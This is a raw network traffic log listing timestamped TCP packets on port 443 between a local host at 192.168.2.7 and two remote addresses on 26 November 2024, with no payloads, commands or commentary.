Nov 26, 2024 13:44:20.284562111 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.284575939 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.285079002 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.286397934 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.286518097 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.287281990 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.327331066 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.351774931 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.354631901 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.354700089 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.354758024 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.354779959 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.354794025 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.354799986 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.357659101 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.357707024 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.357825041 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.357986927 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.358004093 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.630131006 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.630151033 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.630215883 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.630234957 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.634907007 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.634965897 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.635338068 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.635370970 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.635379076 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.635493040 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.639156103 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.639214993 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.639276981 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.639714003 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.639729977 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.678577900 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.684062004 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.684078932 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.684607983 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.684612036 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.688851118 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.688874006 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.688920975 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.688932896 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.692186117 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.692271948 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.752382040 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.778918982 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.778949976 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.778986931 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.779052019 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.779052019 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.779067993 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.779139996 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.805479050 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.810384035 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.810400963 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.810425043 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.810460091 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.812100887 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.812139988 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.812215090 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.812614918 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.812669039 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.812828064 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.812839031 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.812855959 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.813040972 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.813050032 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.821398020 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.821408987 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.821857929 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.821862936 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.828711987 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.828722954 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.828782082 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.829046011 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.829060078 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.830682039 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.830698013 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.830760002 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.830929041 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.830939054 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.969254017 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.969289064 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.969479084 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.969479084 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.969500065 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.969590902 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.019857883 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.019891024 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.019954920 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.019975901 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.020060062 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.021122932 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.084662914 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.085534096 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.085551023 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.085988045 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.085995913 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.136909962 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.136949062 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.137002945 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.137095928 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.137135983 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.138276100 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.138297081 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.138309002 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.138314962 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.140862942 CET	49902	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.140902996 CET	443	49902	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.140978098 CET	49902	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.141113043 CET	49902	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.141134024 CET	443	49902	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.150269985 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.150301933 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.150371075 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.150382042 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.150500059 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.188149929 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.188179970 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.188291073 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.188301086 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.189027071 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.197978973 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.198664904 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.198709011 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.199137926 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.199146986 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.202022076 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.205822945 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.205893040 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.205949068 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.205966949 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.205977917 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.205984116 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.207591057 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.207628012 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.207685947 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.207696915 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.207719088 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.207868099 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.211157084 CET	49903	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.211196899 CET	443	49903	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.211275101 CET	49903	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.211437941 CET	49903	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.211453915 CET	443	49903	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.227536917 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.227570057 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.227737904 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.227756023 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.228425026 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.230410099 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.230472088 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.230496883 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.230593920 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.230665922 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.230700970 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.230722904 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.230735064 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.232218981 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.434099913 CET	49904	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:44:21.434146881 CET	443	49904	172.202.163.200	192.168.2.7
Nov 26, 2024 13:44:21.434257030 CET	49904	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:44:21.434639931 CET	49904	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:44:21.434659004 CET	443	49904	172.202.163.200	192.168.2.7
Nov 26, 2024 13:44:21.536879063 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.541846037 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.543077946 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.544092894 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.544106007 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.544116020 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.544121027 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.549002886 CET	49905	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.549041986 CET	443	49905	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.549180984 CET	49905	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.549489021 CET	49905	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.549503088 CET	443	49905	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.654347897 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.658379078 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.661057949 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.667570114 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.667603970 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.667640924 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.667648077 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.671612978 CET	49906	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.671664000 CET	443	49906	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:21.671749115 CET	49906	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.672297955 CET	49906	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:21.672313929 CET	443	49906	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.224206924 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.228162050 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.228180885 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.228887081 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.228893042 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.486041069 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.486398935 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.486457109 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.486818075 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.487222910 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.487306118 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.487520933 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.531328917 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.531620026 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.541448116 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.541475058 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.542007923 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.542437077 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.542505980 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.542731047 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.587337971 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.613970041 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.615453005 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.615468025 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.615884066 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.616472006 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.616543055 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.616734028 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.625474930 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.625730038 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.625739098 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.626091957 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.626538992 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.626604080 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.626766920 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.659332991 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.662492037 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.666302919 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.666331053 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.667334080 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.667519093 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.667586088 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.668081999 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.668149948 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.668312073 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.668328047 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.681107998 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.684012890 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.684076071 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.684077024 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.684133053 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.684191942 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.684205055 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.684214115 CET	49895	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.684220076 CET	443	49895	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.687407017 CET	49907	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.687473059 CET	443	49907	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.687541962 CET	49907	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.687701941 CET	49907	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.687724113 CET	443	49907	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.709021091 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.809156895 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.809186935 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.809195995 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.809221983 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.809251070 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.809254885 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.809298992 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.809360027 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.809360027 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.817370892 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.817416906 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.817424059 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.817446947 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.817491055 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.822839975 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.822854042 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.865125895 CET	49908	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.865174055 CET	443	49908	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.865226984 CET	49908	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.865794897 CET	49908	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.865808964 CET	443	49908	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.928401947 CET	443	49902	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.930277109 CET	49902	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.930298090 CET	443	49902	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.930942059 CET	49902	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.930947065 CET	443	49902	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.969242096 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.972002983 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.972062111 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.972907066 CET	49897	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.972915888 CET	443	49897	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.975203991 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.979445934 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.979491949 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.979505062 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.979516029 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:22.979569912 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.982203007 CET	49896	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:22.982218981 CET	443	49896	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.049511909 CET	49909	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.049535036 CET	443	49909	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.049593925 CET	49909	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.049997091 CET	49909	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.050009012 CET	443	49909	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.054174900 CET	49910	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.054217100 CET	443	49910	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.054270029 CET	49910	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.054528952 CET	49910	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.054543018 CET	443	49910	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.071984053 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.072010994 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.072062969 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.072072983 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.075184107 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.075202942 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.075244904 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.075253963 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.075619936 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.075659037 CET	443	49900	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.075704098 CET	49900	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.078488111 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.078562975 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.079224110 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.079238892 CET	443	49899	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.079248905 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.079282045 CET	49899	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.129726887 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.129751921 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.129931927 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.129954100 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.130100012 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.135054111 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.135109901 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.135298014 CET	443	49898	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.135373116 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.135373116 CET	49898	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.140089035 CET	49911	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.140125990 CET	443	49911	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.140443087 CET	49911	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.140443087 CET	49911	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:23.140475035 CET	443	49911	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.154927015 CET	443	49904	172.202.163.200	192.168.2.7
Nov 26, 2024 13:44:23.155185938 CET	49904	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:44:23.159270048 CET	49904	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:44:23.159280062 CET	443	49904	172.202.163.200	192.168.2.7
Nov 26, 2024 13:44:23.159568071 CET	443	49904	172.202.163.200	192.168.2.7
Nov 26, 2024 13:44:23.167785883 CET	49904	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:44:23.215336084 CET	443	49904	172.202.163.200	192.168.2.7
Nov 26, 2024 13:44:23.276695013 CET	443	49905	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:23.277471066 CET	49905	443	192.168.2.7	13.107.246.63
